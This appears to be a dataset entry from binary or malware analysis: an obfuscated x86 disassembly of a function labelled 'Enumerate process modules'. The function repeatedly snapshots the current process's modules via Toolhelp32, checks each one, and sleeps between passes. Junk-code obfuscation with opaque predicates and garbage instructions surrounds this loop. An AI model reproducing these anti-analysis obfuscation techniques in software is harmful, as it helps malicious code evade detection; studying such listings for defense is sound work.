Function at 0x10015f32
Capabilities:
Enumerate process modules

Disassembly:
jae 0x10015de1
jmp 0x10015ddc
call fcn.10015de3
jae 0x10015ddc
add esp, 4
jmp 0x10015de8
dec dword [esp]
jno 0x10015ded
jns 0x10015dd8
jp 0x10015df1
add esp, 4
popf
jmp 0x10015df8
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015e11
jne 0x10015e11
call 0x1fc19165
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0x3c48eab2
lea ecx, [ebp - 0x64]
call fcn.10016850
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x30]
call fcn.100110e0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x64]
call fcn.10016710
clc
jae 0x10015e5b
popfd
jns 0x10015ec2
pushf
pushfd
push 0xa
jae 0x10015e68
jmp 0x10015e63
call 0x10015e6a
jae 0x10015e63
add esp, 4
jmp 0x10015e6f
dec dword [esp]
jno 0x10015e74
jns 0x10015e5f
jp 0x10015e78
add esp, 4
popf
jmp 0x10015e7f
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015e98
jne 0x10015e98
jns 0x10015f15
jl 0x10015e9d
add ebp, ebx
add edi, dword [ecx + 0x74]
sti
jmp 0x10015e9f
je 0x10015e9a
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10015eb9
jne 0x10015eb8
call 0x93054f40
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10015ec7
jne 0x10015ec7
call 0xfb203b3
dec dword [ebx - 0x769b0bb3]
or eax, 0
call fcn.10010f70
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
jmp 0x10015f19
add esi, edx
je 0x10015f14
clc
jae 0x10015f1e
cmp eax, 0x750374f2
add edx, esi
je 0x10015f23
jne 0x10015f23
pushf
pushf
push 0xa
jae 0x10015f30
jmp 0x10015f2b
call 0x10015f32
jae 0x10015f2b
add esp, 4
jmp 0x10015f37
dec dword [esp]
jno 0x10015f3c
jns 0x10015f27
jp 0x10015f40
add esp, 4
popf
jmp 0x10015f47
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10015f60
jne 0x10015f60
call 0x1fc192b4
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
mov eax, 1
test eax, eax
je 0x10016000
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x22c], eax
mov dword [ebp - 0x228], 0x224
lea ecx, [ebp - 0x228]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
jne 0x10015fba
jmp 0x10016071
lea eax, [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
je 0x10015fe3
lea edx, [ebp - 0x108]
push edx
call fcn.10015c80
add esp, 4
jmp 0x10015fba
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3a98
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10015f71
clc
jae 0x10016005
pop ecx
lcall 0x773, 0xa6a9c66
pushf
push 0xa
jae 0x10016012
jmp 0x1001600d
call 0x10016014
jae 0x1001600d
add esp, 4
jmp 0x10016019
dec dword [esp]
jno 0x1001601e
jns 0x10016009
jp 0x10016022
add esp, 4
popf
jmp 0x10016029
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10016042
jne 0x10016042
lcall 0x749a, 0x3eb037c
sti
jl 0x10016047
jmp 0x10016049
je 0x10016044
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10016063
jne 0x10016062
call 0x930550ea
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10016071
jne 0x10016071
call 0x9b5cbed4
dec ebp
cld
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret